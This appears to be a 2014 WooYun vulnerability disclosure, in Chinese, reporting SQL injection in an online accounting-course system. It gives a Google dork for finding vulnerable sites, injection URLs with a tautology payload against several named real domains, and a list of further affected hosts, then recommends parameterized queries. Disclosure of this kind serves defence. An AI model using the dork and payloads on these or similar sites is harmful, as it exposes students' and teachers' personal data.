漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-061842
漏洞标题：某网上教学系统SQL注入大礼包
相关厂商：cncert国家互联网应急中心
漏洞作者： darkrerror
提交时间：2014-05-26 11:55
修复时间：2014-07-10 11:56
公开时间：2014-07-10 11:56
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-26： 细节已通知厂商并且等待厂商处理中
2014-05-30： 厂商已经确认，细节仅向厂商公开
2014-06-09： 细节向核心白帽子及相关领域专家公开
2014-06-19： 细节向普通白帽子公开
2014-06-29： 细节向实习白帽子公开
2014-07-10： 细节向公众公开
简要描述：
多处SQL注入。
详细说明：
主要针对会计网上学习的。数据库里面包含有很多师生的个人信息。但是个人信息的泄漏估计量还是不少的，网站还真多，各种报考，发布区域很广。有部分应该是没有被搜索引擎收录的也有部分是我们下面的那个关键字搜索不到的。
谷歌搜索：
https://www.google.com.hk/search?q=inurl:Course_List.aspx?typeid=
漏洞证明：
分别举几个列子来说明危害性和利用性：
http://www.ndddpx.com/Web_Org/course_list.aspx?typeid=4'%20or%20'1'='1
报错信息
http://gxrg.com/Web_Org/Course_List.aspx?typeid=4027'
当前库“jzpexam2”的表（超过242个）：
http://www.cj-consulting.com.cn/course_list.aspx?typeid=4'
当前数据库“wwwcj-consultingcomcn”的表：
其他受影响的网站：
http://www.gxkjks.com/Web_Org/course_list.aspx?typeid=【注入点】
http://www.kjcyksw.com/Web_Org/Course_List.aspx?typeid=【注入点】
http://chinakjzj.com/Web_Org/course_list.aspx?typeid=【注入点】
http://nnkjks.com/Web_Org/Course_List.aspx?typeid=【注入点】
... ...
修复方案：
构造SQL查询时，请使用参数化查询、验证输入对用户输入的数据进行全面安全检查或过滤，尤其注意检查是否包含HTML特殊字符。这些检查或过滤必须在服务器端完成，建议过滤的常见危险字符。
版权声明：转载请注明来源 darkrerror@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2014-05-30 17:32
厂商回复：
最新状态：
暂无